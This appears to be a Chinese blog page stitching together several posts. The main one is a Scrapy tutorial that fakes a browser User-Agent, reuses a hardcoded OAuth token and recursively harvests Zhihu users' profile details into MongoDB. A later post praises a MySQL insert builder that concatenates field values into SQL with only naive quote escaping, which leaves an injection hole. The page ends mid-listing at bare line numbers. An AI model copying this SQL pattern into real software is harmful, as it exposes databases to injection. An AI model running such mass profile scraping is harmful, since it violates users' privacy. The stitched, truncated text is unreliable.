访问知乎得到的状态码是500，这说明爬取并没有成功，其实这是因为我们没有加入请求头，知乎识别User-Agent发现不是浏览器，就返回错误的响应了。 所以接下来的一步我们需要加入请求headers信息，你可以在Request的参数里加，也可以在spider里面的custom_settings里面加，当然最简单的方法莫过于在全局settings里面加了。 我们打开settings.py文件，取消DEFAULT_REQUEST_HEADERS的注释，加入如下的内容：

1
2
3

DEFAULT_REQUEST_HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'
}

这个是为你的请求添加请求头，如果你没有设置headers的话，它就会使用这个请求头请求，添加了User-Agent信息，所以这样我们的爬虫就可以伪装浏览器了。 接下来重新运行爬虫。

1

scrapy crawl zhihu

这时你就会发现得到的返回状态码就正常了。 解决了这个问题，我们接下来就可以分析页面逻辑来正式实现爬虫了。

爬取流程

接下来我们需要先探寻获取用户详细信息和获取关注列表的接口。 回到网页，打开浏览器的控制台，切换到Network监听模式。 我们首先要做的是寻找一个大V，以轮子哥为例吧，它的个人信息页面网址是：https://www.zhihu.com/people/excited-vczh 首先打开轮子哥的首页 我们可以看到这里就是他的一些基本信息，我们需要抓取的就是这些，比如名字、签名、职业、关注数、赞同数等等。 接下来我们需要探索一下关注列表接口在哪里，我们点击关注选项卡，然后下拉，点击翻页，我们会在下面的请求中发现出现了 followees开头的Ajax请求。这个就是获取关注列表的接口。 我们观察一下这个请求结构 首先它是一个Get类型的请求，请求的URL是https://www.zhihu.com/api/v4/members/excited-vczh/followees，后面跟了三个参数，一个是include，一个是offset，一个是limit。 观察后可以发现，include是一些获取关注的人的基本信息的查询参数，包括回答数、文章数等等。 offset是偏移量，我们现在分析的是第3页的关注列表内容，offset当前为40。 limit为每一页的数量，这里是20，所以结合上面的offset可以推断，当offset为0时，获取到的是第一页关注列表，当offset为20时，获取到的是第二页关注列表，依次类推。 然后接下来看下返回结果： 可以看到有data和paging两个字段，data就是数据，包含20个内容，这些就是用户的基本信息，也就是关注列表的用户信息。 paging里面又有几个字段，is_end表示当前翻页是否结束，next是下一页的链接，所以在判读分页的时候，我们可以先利用is_end判断翻页是否结束，然后再获取next链接，请求下一页。 这样我们的关注列表就可以通过接口获取到了。 接下来我们再看下用户详情接口在哪里，我们将鼠标放到关注列表任意一个头像上面，观察下网络请求，可以发现又会出现一个Ajax请求。 可以看到这次的请求链接为https://www.zhihu.com/api/v4/members/lu-jun-ya-1 后面又一个参数include，include是一些查询参数，与刚才的接口类似，不过这次参数非常全，几乎可以把所有详情获取下来，另外接口的最后是加了用户的用户名，这个其实是url_token，上面的那个接口其实也是，在返回数据中是可以获得的。 所以综上所述：

• 要获取用户的关注列表，我们需要请求类似 https://www.zhihu.com/api/v4/members/{user}/followees?include={include}&offset={offset}&limit={limit} 这样的接口，其中user就是该用户的url_token，include是固定的查询参数，offset是分页偏移量，limit是一页取多少个。
• 要获取用户的详细信息，我们需要请求类似 https://www.zhihu.com/api/v4/members/{user}?include={include} 这样的接口，其中user就是该用户的url_token，include是查询参数。

理清了如上接口逻辑后，我们就可以开始构造请求了。

生成第一步请求

接下来我们要做的第一步当然是请求轮子哥的基本信息，然后获取轮子哥的关注列表了，我们首先构造一个格式化的url，将一些可变参数提取出来，然后需要重写start_requests方法，生成第一步的请求，接下来我们还需要根据获取到到关注列表做进一步的分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

import json
from scrapy import Spider, Request
from zhihuuser.items import UserItem

class ZhihuSpider(Spider):
    name = "zhihu"
    allowed_domains = ["www.zhihu.com"]
    user_url = 'https://www.zhihu.com/api/v4/members/{user}?include={include}'
    follows_url = 'https://www.zhihu.com/api/v4/members/{user}/followees?include={include}&offset={offset}&limit={limit}'
    start_user = 'excited-vczh'
    user_query = 'locations,employments,gender,educations,business,voteup_count,thanked_Count,follower_count,following_count,cover_url,following_topic_count,following_question_count,following_favlists_count,following_columns_count,answer_count,articles_count,pins_count,question_count,commercial_question_count,favorite_count,favorited_count,logs_count,marked_answers_count,marked_answers_text,message_thread_token,account_status,is_active,is_force_renamed,is_bind_sina,sina_weibo_url,sina_weibo_name,show_sina_weibo,is_blocking,is_blocked,is_following,is_followed,mutual_followees_count,vote_to_count,vote_from_count,thank_to_count,thank_from_count,thanked_count,description,hosted_live_count,participated_live_count,allow_message,industry_category,org_name,org_homepage,badge[?(type=best_answerer)].topics'
    follows_query = 'data[*].answer_count,articles_count,gender,follower_count,is_followed,is_following,badge[?(type=best_answerer)].topics'

    def start_requests(self):
        yield Request(self.user_url.format(user=self.start_user, include=self.user_query), self.parse_user)
        yield Request(self.follows_url.format(user=self.start_user, include=self.follows_query, limit=20, offset=0),
                      self.parse_follows)

然后我们实现一下两个解析方法parse_user和parse_follows。

1
2
3
4

def parse_user(self, response):
    print(response.text)
def parse_follows(self, response):
    print(response.text)

最简单的实现他们的结果输出即可，然后运行观察结果。

1

scrapy crawl zhihu

这时你会发现出现了

1

401 HTTP status code is not handled or not allowed

访问被禁止了，这时我们观察下浏览器请求，发现它相比之前的请求多了一个OAuth请求头。

OAuth

它是Open Authorization的缩写。 OAUTH_token:OAUTH进行到最后一步得到的一个“令牌”，通过此“令牌”请求，就可以去拥有资源的网站抓取任意有权限可以被抓取的资源。 在这里我知乎并没有登陆，这里的OAuth值是

1

oauth c3cef7c66a1843f8b3a9e6a1e3160e20

经过我长久的观察，这个一直不会改变，所以可以长久使用，我们将它配置到DEFAULT_REQUEST_HEADERS里，这样它就变成了：

1
2
3
4

DEFAULT_REQUEST_HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
    'authorization': 'oauth c3cef7c66a1843f8b3a9e6a1e3160e20',
}

接下来如果我们重新运行爬虫，就可以发现可以正常爬取了。

parse_user

接下来我们处理一下用户基本信息，首先我们查看一下接口信息会返回一些什么数据。 可以看到返回的结果非常全，在这里我们直接声明一个Item全保存下就好了。 在items里新声明一个UserItem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

from scrapy import Item, Field

class UserItem(Item):
    # define the fields for your item here like:
    id = Field()
    name = Field()
    avatar_url = Field()
    headline = Field()
    description = Field()
    url = Field()
    url_token = Field()
    gender = Field()
    cover_url = Field()
    type = Field()
    badge = Field()

    answer_count = Field()
    articles_count = Field()
    commercial_question_count = Field()
    favorite_count = Field()
    favorited_count = Field()
    follower_count = Field()
    following_columns_count = Field()
    following_count = Field()
    pins_count = Field()
    question_count = Field()
    thank_from_count = Field()
    thank_to_count = Field()
    thanked_count = Field()
    vote_from_count = Field()
    vote_to_count = Field()
    voteup_count = Field()
    following_favlists_count = Field()
    following_question_count = Field()
    following_topic_count = Field()
    marked_answers_count = Field()
    mutual_followees_count = Field()
    hosted_live_count = Field()
    participated_live_count = Field()

    locations = Field()
    educations = Field()
    employments = Field()

所以在解析方法里面我们解析得到的response内容，然后转为json对象，然后依次判断字段是否存在，赋值就好了。

1
2
3
4
5
6

result = json.loads(response.text)
item = UserItem()
for field in item.fields:
    if field in result.keys():
        item[field] = result.get(field)
yield item

得到item后通过yield返回就好了。 这样保存用户基本信息就完成了。 接下来我们还需要在这里获取这个用户的关注列表，所以我们需要再重新发起一个获取关注列表的request 在parse_user后面再添加如下代码：

1
2
3

yield Request(
            self.follows_url.format(user=result.get('url_token'), include=self.follows_query, limit=20, offset=0),
            self.parse_follows)

这样我们又生成了获取该用户关注列表的请求。

parse_follows

接下来我们处理一下关注列表，首先也是解析response的文本，然后要做两件事：

• 通过关注列表的每一个用户，对每一个用户发起请求，获取其详细信息。
• 处理分页，判断paging内容，获取下一页关注列表。

所以在这里将parse_follows改写如下：

1
2
3
4
5
6
7
8
9
10
11

results = json.loads(response.text)

if 'data' in results.keys():
    for result in results.get('data'):
        yield Request(self.user_url.format(user=result.get('url_token'), include=self.user_query),
                      self.parse_user)

if 'paging' in results.keys() and results.get('paging').get('is_end') == False:
    next_page = results.get('paging').get('next')
    yield Request(next_page,
                  self.parse_follows)

这样，整体代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

# -*- coding: utf-8 -*-
import json

from scrapy import Spider, Request
from zhihuuser.items import UserItem


class ZhihuSpider(Spider):
    name = "zhihu"
    allowed_domains = ["www.zhihu.com"]
    user_url = 'https://www.zhihu.com/api/v4/members/{user}?include={include}'
    follows_url = 'https://www.zhihu.com/api/v4/members/{user}/followees?include={include}&offset={offset}&limit={limit}'
    start_user = 'excited-vczh'
    user_query = 'locations,employments,gender,educations,business,voteup_count,thanked_Count,follower_count,following_count,cover_url,following_topic_count,following_question_count,following_favlists_count,following_columns_count,answer_count,articles_count,pins_count,question_count,commercial_question_count,favorite_count,favorited_count,logs_count,marked_answers_count,marked_answers_text,message_thread_token,account_status,is_active,is_force_renamed,is_bind_sina,sina_weibo_url,sina_weibo_name,show_sina_weibo,is_blocking,is_blocked,is_following,is_followed,mutual_followees_count,vote_to_count,vote_from_count,thank_to_count,thank_from_count,thanked_count,description,hosted_live_count,participated_live_count,allow_message,industry_category,org_name,org_homepage,badge[?(type=best_answerer)].topics'
    follows_query = 'data[*].answer_count,articles_count,gender,follower_count,is_followed,is_following,badge[?(type=best_answerer)].topics'

    def start_requests(self):
        yield Request(self.user_url.format(user=self.start_user, include=self.user_query), self.parse_user)
        yield Request(self.follows_url.format(user=self.start_user, include=self.follows_query, limit=20, offset=0),
                      self.parse_follows)

    def parse_user(self, response):
        result = json.loads(response.text)
        item = UserItem()


        for field in item.fields:
            if field in result.keys():
                item[field] = result.get(field)
        yield item

        yield Request(
            self.follows_url.format(user=result.get('url_token'), include=self.follows_query, limit=20, offset=0),
            self.parse_follows)

    def parse_follows(self, response):
        results = json.loads(response.text)

        if 'data' in results.keys():
            for result in results.get('data'):
                yield Request(self.user_url.format(user=result.get('url_token'), include=self.user_query),
                              self.parse_user)

        if 'paging' in results.keys() and results.get('paging').get('is_end') == False:
            next_page = results.get('paging').get('next')
            yield Request(next_page,
                          self.parse_follows)

这样我们就完成了获取用户基本信息，然后递归获取关注列表进一步请求了。 重新运行爬虫，可以发现当前已经可以实现循环递归爬取了。

followers

上面我们实现了通过获取关注列表实现爬取循环，那这里少不了的还有粉丝列表，经过分析后发现粉丝列表的api也类似，只不过把followee换成了follower，其他的完全相同，所以我们按照同样的逻辑添加followers相关信息， 最终spider代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

# -*- coding: utf-8 -*-
import json

from scrapy import Spider, Request
from zhihuuser.items import UserItem


class ZhihuSpider(Spider):
    name = "zhihu"
    allowed_domains = ["www.zhihu.com"]
    user_url = 'https://www.zhihu.com/api/v4/members/{user}?include={include}'
    follows_url = 'https://www.zhihu.com/api/v4/members/{user}/followees?include={include}&offset={offset}&limit={limit}'
    followers_url = 'https://www.zhihu.com/api/v4/members/{user}/followers?include={include}&offset={offset}&limit={limit}'
    start_user = 'tianshansoft'
    user_query = 'locations,employments,gender,educations,business,voteup_count,thanked_Count,follower_count,following_count,cover_url,following_topic_count,following_question_count,following_favlists_count,following_columns_count,answer_count,articles_count,pins_count,question_count,commercial_question_count,favorite_count,favorited_count,logs_count,marked_answers_count,marked_answers_text,message_thread_token,account_status,is_active,is_force_renamed,is_bind_sina,sina_weibo_url,sina_weibo_name,show_sina_weibo,is_blocking,is_blocked,is_following,is_followed,mutual_followees_count,vote_to_count,vote_from_count,thank_to_count,thank_from_count,thanked_count,description,hosted_live_count,participated_live_count,allow_message,industry_category,org_name,org_homepage,badge[?(type=best_answerer)].topics'
    follows_query = 'data[*].answer_count,articles_count,gender,follower_count,is_followed,is_following,badge[?(type=best_answerer)].topics'
    followers_query = 'data[*].answer_count,articles_count,gender,follower_count,is_followed,is_following,badge[?(type=best_answerer)].topics'

    def start_requests(self):
        yield Request(self.user_url.format(user=self.start_user, include=self.user_query), self.parse_user)
        yield Request(self.follows_url.format(user=self.start_user, include=self.follows_query, limit=20, offset=0),
                      self.parse_follows)
        yield Request(self.followers_url.format(user=self.start_user, include=self.followers_query, limit=20, offset=0),
                      self.parse_followers)

    def parse_user(self, response):
        result = json.loads(response.text)
        item = UserItem()

        for field in item.fields:
            if field in result.keys():
                item[field] = result.get(field)
        yield item

        yield Request(
            self.follows_url.format(user=result.get('url_token'), include=self.follows_query, limit=20, offset=0),
            self.parse_follows)

        yield Request(
            self.followers_url.format(user=result.get('url_token'), include=self.followers_query, limit=20, offset=0),
            self.parse_followers)

    def parse_follows(self, response):
        results = json.loads(response.text)

        if 'data' in results.keys():
            for result in results.get('data'):
                yield Request(self.user_url.format(user=result.get('url_token'), include=self.user_query),
                              self.parse_user)

        if 'paging' in results.keys() and results.get('paging').get('is_end') == False:
            next_page = results.get('paging').get('next')
            yield Request(next_page,
                          self.parse_follows)

    def parse_followers(self, response):
        results = json.loads(response.text)

        if 'data' in results.keys():
            for result in results.get('data'):
                yield Request(self.user_url.format(user=result.get('url_token'), include=self.user_query),
                              self.parse_user)

        if 'paging' in results.keys() and results.get('paging').get('is_end') == False:
            next_page = results.get('paging').get('next')
            yield Request(next_page,
                          self.parse_followers)

需要改变的位置有

• start_requests里面添加yield followers信息
• parse_user里面里面添加yield followers信息
• parse_followers做相应的的抓取详情请求和翻页。

如此一来，spider就完成了，这样我们就可以实现通过社交网络递归的爬取，把用户详情都爬下来。

小结

通过以上的spider，我们实现了如上逻辑：

• start_requests方法，实现了第一个大V用户的详细信息请求还有他的粉丝和关注列表请求。
• parse_user方法，实现了详细信息的提取和粉丝关注列表的获取。
• paese_follows，实现了通过关注列表重新请求用户并进行翻页的功能。
• paese_followers，实现了通过粉丝列表重新请求用户并进行翻页的功能。

加入pipeline

在这里数据库存储使用MongoDB，所以在这里我们需要借助于Item Pipeline，实现如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

class MongoPipeline(object):
    collection_name = 'users'

    def __init__(self, mongo_uri, mongo_db):
        self.mongo_uri = mongo_uri
        self.mongo_db = mongo_db

    @classmethod
    def from_crawler(cls, crawler):
        return cls(
            mongo_uri=crawler.settings.get('MONGO_URI'),
            mongo_db=crawler.settings.get('MONGO_DATABASE')
        )

    def open_spider(self, spider):
        self.client = pymongo.MongoClient(self.mongo_uri)
        self.db = self.client[self.mongo_db]

    def close_spider(self, spider):
        self.client.close()

    def process_item(self, item, spider):
        self.db[self.collection_name].update({'url_token': item['url_token']}, {'$set': dict(item)}, True)
        return item

比较重要的一点就在于process_item，在这里使用了update方法，第一个参数传入查询条件，这里使用的是url_token，第二个参数传入字典类型的对象，就是我们的item，第三个参数传入True，这样就可以保证，如果查询数据存在的话就更新，不存在的话就插入。这样就可以保证去重了。 另外记得开启一下Item Pileline

1
2
3

ITEM_PIPELINES = {
    'zhihuuser.pipelines.MongoPipeline': 300,
}

然后重新运行爬虫

1

scrapy crawl zhihu

这样就可以发现正常的输出了，会一直不停地运行，用户也一个个被保存到数据库。 看下MongoDB，里面我们爬取的用户详情结果。 到现在为止，整个爬虫就基本完结了，我们主要通过递归的方式实现了这个逻辑。存储结果也通过适当的方法实现了去重。

更高效率

当然我们现在运行的是单机爬虫，只在一台电脑上运行速度是有限的，所以后面我们要想提高抓取效率，需要用到分布式爬虫，在这里需要用到Redis来维护一个公共的爬取队列。 更多的分布式爬虫的实现可以查看自己动手，丰衣足食！Python3网络爬虫实战案例

听大才哥说好像我的文章挺难找的，这整理一下。

基础知识篇：

这玩意儿我没写，各位参考大才哥的： Python 爬虫学习系列教程 Python3 爬虫学习视频教程

小白系列教程

小白爬虫第一弹之抓取妹子图 小白爬虫第二弹之健壮的小爬虫 小白爬虫第三弹之去重去重 小白爬虫第四弹之爬虫快跑（多进程+多线程） 小白进阶之 Scrapy 第一篇 小白进阶之 Scrapy 第二篇（登录篇） 小白进阶之Scrapy 分布式的前篇—让 redis 和 MongoDB 安全点 小白进阶之 Scrapy 第三篇（基于 Scrapy-Redis 的分布式以及 cookies 池） 小白进阶之 Scrapy 第四篇（图片下载管道篇） 小白进阶之 Scrapy 第五篇（Scrapy-Splash 配合 CrawlSpider；瞎几把整的） 利用新接口抓取微信公众号的所有文章 小白进阶之Scrapy 第六篇Scrapy-Redis 详解 暂时就这些了、最近工作刚入职。上了个新项目，没时间更新文章了（主要是我懒、挤点时间都用来打 LOL 了···············尴尬脸） 等项目第一期结束了，我会把以前许诺的 ：JS 异步加载 | 动态爬虫 更新出来。 感谢大才哥的平台（有兴趣的小伙伴一起来更新文章啊！ 才不会告诉你们：我扯着大才哥的大旗找了个不错的工作。手动笑哭······） 如果以上网站有更改无法正常采集，请 PM 我一下，我尽量保证 demo 的可用性

公告

大家好，本站于今日（2017.4.11）关闭投稿功能。

原因

由于之前本站开放了投稿注册接口，该接口现在被人利用，每天都会发送垃圾邮件，经常导致邮箱发信过多而被冻结，而WordPress本身没有提供验证码验证，所以自己也不想再去修改，当然最主要的是能发优质文章的又是少之又少，经常会出现一些垃圾草稿，所以博主决定直接将投稿功能关闭，希望大家可以理解。

投稿

如果您有在本站投稿意向，请直接联系我邮件cqc@cuiqingcai.com，我为您注册账号并开通写作权限。

鸣谢

非常感谢在本站投稿的童鞋，尤其是卧槽哥，发表了很多篇高质量爬虫文章。另外还有戴笠兄也是，不过后来戴笠兄的文章因为开车过猛而下架了哈哈，不过还是非常感谢。另外也非常感谢其他在本站投稿的小伙伴，在这不一一点名啦！

结语

最后希望大家可以理解，也非常感谢大家的支持！前一段时间忙着在录制爬虫视频，今天刚刚收尾，现在已经更新完毕，后面我将学习一些数据分析、自然语言处理、Web安全方面的知识分享给大家，希望大家多多支持！感谢！

2022 年 Python3 网络爬虫教程

大家好，我是崔庆才，由于爬虫技术不断迭代升级，一些旧的教程已经过时、案例已经过期，最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷，我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

博主自荐：截止 2022 年，可以将最前沿最全面的爬虫技术都涵盖的教程，如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等，市面上目前就这一套了。

最新教程对旧的爬虫技术文章进行了全面更新，搭建了全新的案例平台进行全面讲解，保证案例稳定有效不过期。

教程请移步：

【2022 版】Python3 网络爬虫学习教程

2018 年 Python3 网络爬虫视频课程链接

以下为 2018 年 Python3 网络爬虫视频课程

天善智能：自己动手，丰衣足食！Python3 网络爬虫实战案例 网易云课堂：自己动手，丰衣足食！Python3 网络爬虫实战案例

课程简介

大家好哈，现在呢静觅博客已经两年多啦，可能大家过来更多看到的是爬虫方面的博文，首先非常感谢大家的支持，希望我的博文对大家有帮助！ 之前我写了一些 Python 爬虫方面的文章，Python 爬虫学习系列教程，涉及到了基础和进阶的一些内容，当时更多用到的是 Urllib 还有正则，后来又陆续增加了一些文章，在学习过程中慢慢积累慢慢成型了一套算不上教程的教程，后来有越来越多的小伙伴学习和支持我感到非常开心，再次感谢大家！ 不过其实这些教程总的来说有一些问题：

1. 当时用的 Python2 写的，刚写的时候 Scrapy 这个框架也没有支持 Python3，一些 Python3 爬虫库也不怎么成熟，所以当时选择了 Python2。但到现在，Python3 发展迅速，爬虫库也越来越成熟，而且 Python2 在不久的将来就会停止维护了，所以慢慢地，我的语言重心也慢慢转向了 Python3，我也相信 Python3 会成为主流。所以说之前的一套课程算是有点过时了，相信大家肯定还在寻找 Python3 的一些教程。
2. 当时学习的时候主要用的 urllib，正则，所以这些文章的较大篇幅也都是 urllib 和正则的一些东西，后来的一些高级库都是在后面慢慢加的，而且一些高级的框架用法也没有做深入讲解，所以感觉整个内容有点头重脚轻，安排不合理。而且现在分布式越来越火，那么分布式爬虫的应用相必也是越来越广泛，之前的课程也没有做系统讲解。
3. 在介绍一些操作的时候可能介绍不全面，环境的配置也没有兼顾各个平台，所以可能有些小伙伴摸不着头脑，可能卡在某一步不知道接下来是怎么做的了。

那么综合上面的问题呢，最近我花了前前后后将近一个月的时间录制了一套新的 Pyhthon3 爬虫视频教程，将我之前做爬虫的一些经验重新梳理和整合，利用 Python3 编写，从环境配置、基础库讲解到案例实战、框架使用，最后再到分布式爬虫进行了比较系统的讲解。 课程内容是这个样子的：

一、环境篇

• Python3+Pip 环境配置
• MongoDB 环境配置
• Redis 环境配置
• MySQL 环境配置
• Python 多版本共存配置
• Python 爬虫常用库的安装

二、基础篇

• 爬虫基本原理
• Urllib 库基本使用
• Requests 库基本使用
• 正则表达式基础
• BeautifulSoup 详解
• PyQuery 详解
• Selenium 详解

三、实战篇

• 使用 Requests+正则表达式爬取猫眼电影
• 分析 Ajax 请求并抓取今日头条街拍美图
• 使用 Selenium 模拟浏览器抓取淘宝商品美食信息
• 使用 Redis+Flask 维护动态代理池
• 使用代理处理反爬抓取微信文章
• 使用 Redis+Flask 维护动态 Cookies 池

四、框架篇

• PySpider 框架基本使用及抓取 TripAdvisor 实战
• PySpider 架构概述及用法详解
• Scrapy 框架的安装
• Scrapy 框架基本使用
• Scrapy 命令行详解
• Scrapy 中选择器的用法
• Scrapy 中 Spiders 的用法
• Scrapy 中 Item Pipeline 的用法
• Scrapy 中 Download Middleware 的用法
• Scrapy 爬取知乎用户信息实战
• Scrapy+Cookies 池抓取新浪微博
• Scrapy+Tushare 爬取微博股票数据

五、分布式篇

• Scrapy 分布式原理及 Scrapy-Redis 源码解析
• Scrapy 分布式架构搭建抓取知乎
• Scrapy 分布式的部署详解

整个课程是从小白起点的，从环境配置和基础开始讲起，环境安装部分三大平台都有介绍，实战的部分我是一边写一边讲解，还有一些分布式爬虫的搭建流程也做了介绍。 不过这个课程是收费的，其实里面也包含了我学习爬虫以来的经验和汗水，我在做讲解的时候也会把我学习爬虫的一些思路和想法讲解出来，避免大家走一些弯路，希望大家可以支持一下！ 不过在这里有免费的视频，是属于整个课程的一部分，大家可以直接观看 Python3 爬虫三大案例实战分享 整套视频课程放在天善智能这边了，大家如果感兴趣的话可以直接在这里购买，499 元。 课程链接如下： 天善智能：自己动手，丰衣足食！Python3 网络爬虫实战案例 网易云课堂：自己动手，丰衣足食！Python3 网络爬虫实战案例 最后的最后希望大家可以多多支持！非常感谢！知识就是力量！也希望我的课程能为您创造更大的财富！

这两天上班接手，别人留下来的爬虫发现一个很好玩的 SQL 脚本拼接。 只要你的 Scrapy Field 字段名字和 数据库字段的名字 一样。那么恭喜你你就可以拷贝这段 SQL 拼接脚本。进行 MySQL 入库处理。 具体拼接代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

def process_item(self, item, spider):
    if isinstance(item, WhoscoredNewItem):
        table_name = item.pop('table_name')
        col_str = ''
        row_str = ''
        for key in item.keys():
            col_str = col_str + " " + key + ","
            row_str = "{}'{}',".format(row_str, item[key] if "'" not in item[key] else item[key].replace("'", "\\'"))
            sql = "insert INTO {} ({}) VALUES ({}) ON DUPLICATE KEY UPDATE ".format(table_name, col_str[1:-1], row_str[:-1])
        for (key, value) in six.iteritems(item):
            sql += "{} = '{}', ".format(key, value if "'" not in value else value.replace("'", "\\'"))
        sql = sql[:-2]
        self.cursor.execute(sql) #执行SQL
        self.cnx.commit()# 写入操作

这个 SQL 拼接实现了，如果数据库存在相同数据则 更新，不存在则插入 的 SQL 语句 具体实现就是第一个 for 循环，获取 key 作为 MySQL 字段名字、VALUES 做为 SQL 的 VALUES（拼接成一个插入的 SQL 语句） 第二个 for 循环，实现了 字段名 = VALUES 的拼接。 和第一个 for 循环的中的 sql 就组成了 insert into XXXXX on duplicate key update 这个。存在则更新 不存在则插入的 SQL 语句。 我只能所 6666666666 写这个拼接的小哥儿有想法。还挺通用。 不知道你们有没有想到这种方法 反正我是没想到。

今天给大家介绍 WordPress Plugin for UPYUN 插件，专为又拍云和 WordPress 用户准备，主要功能如下：

1. 可以与 WordPress 无缝结合，通过 WordPress 上传图片和文件到又拍云, 支持大文件上传（需要开启表单 API) 和防盗链功能
2. 支持同步删除（在 WordPress 后台媒体管理 “删除” 附件后，又拍云服务器中的文件也随之删除)
3. 增加图片编辑功能
4. 优化防盗链功能
5. 增加与水印插件的兼容性，使上传到远程服务器的图片同样可以加上水印等

PS：修复了很多之前版本存在的 bug，具体可访问：github 又拍云是以 CDN 为核心业务，另外提供云存储、云处理、云安全、流量营销等的云服务商，有开放且可扩展的API，以及开放的SDK和第三方插件，还针对开发者启动了 又拍云联盟 活动，可以每月获取免费空间和流量。更多介绍，请访问又拍云。 安装插件： 进入到你的 WordPress 的 wp-content/plugins 目录下

1

` # pwd/home/wwwroot/blog.v5linux.com/wp-content/plugins`

克隆插件

1
2
3
4
5
6
7

` # git clone https://github.com/ihacklog/hacklog-remote-attachment-upyun.
gitInitialized empty Git repository in /home/wwwroot/blog.v5linux.com/wp-
content/plugins/hacklog-remote-attachment-upyun/.git/remote: Counting 
objects: 387, done.remote: Compressing objects: 100% (31/31), done.
remote: Total 387 (delta 16), reused 0 (delta 0), pack-reused 356Receiving 
objects: 100% (387/387), 399.17 KiB | 106 KiB/s, done.Resolving deltas:
 100% (223/223), done.`

设置权限

1
2
3
4

` # ll总用量 16drwxr-xr-x 4 www  www  4096 1月  12 13:20 akismetdrwxr-xr-x 
8 root root 4096 1月  16 11:34 hacklog-remote-attachment-upyun-rw-r--r-- 1 
www  www  2255 5月  23 2013 hello.php-rw-r--r-- 1 www  www    28 6月   
5 2014 index.php# chown -R www:www hacklog-remote-attachment-upyun/`

注意，如果你是虚拟主机，请下载后打包成 zip 文件上传到 plugins 目录下插件配置 插件设置

主要配置 空间名：后台创建的存储类型服务的名称 操作员和操作员密码：后台获取 表单密钥：又拍云控制台 找到对应的服务 — 高级选项 - 开启表单密钥远程基本 URL：填写你的绑定域名或默认域名（强烈建议使用绑定域名） REST 远程路径和 HTTP 路径：根据需求填写 插件启用和配置详情，请参考：WordPress 远程附件上传插件

啥话都不说了、进入正题。 首先我们更新一下 scrapy 版本。最新版为 1.3 再说一遍 Windows 的小伙伴儿 pip 是装不上 Scrapy 的。推荐使用 anaconda 、不然还是老老实实用 Linux 吧

1
2
3

conda install scrapy==1.3
或者
pip install scrapy==1.3

安装 Scrapy-Redis

1
2
3

conda install scrapy-redis
或者
pip install scrapy-redis

需要注意： Python 版本为 2.7，3.4 或者 3.5 。个人使用 3.6 版本也没有问题 Redis>=2.8 Scrapy>=1.0 Redis-py>=2.1 。 3.X 版本的 Python 都是自带 Redis-py 其余小伙伴如果没有的话、自己 pip 安装一下。 开始搞事！ 开始之前我们得知道 scrapy-redis 的一些配置：PS 这些配置是写在 Scrapy 项目的 settings.py 中的！

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58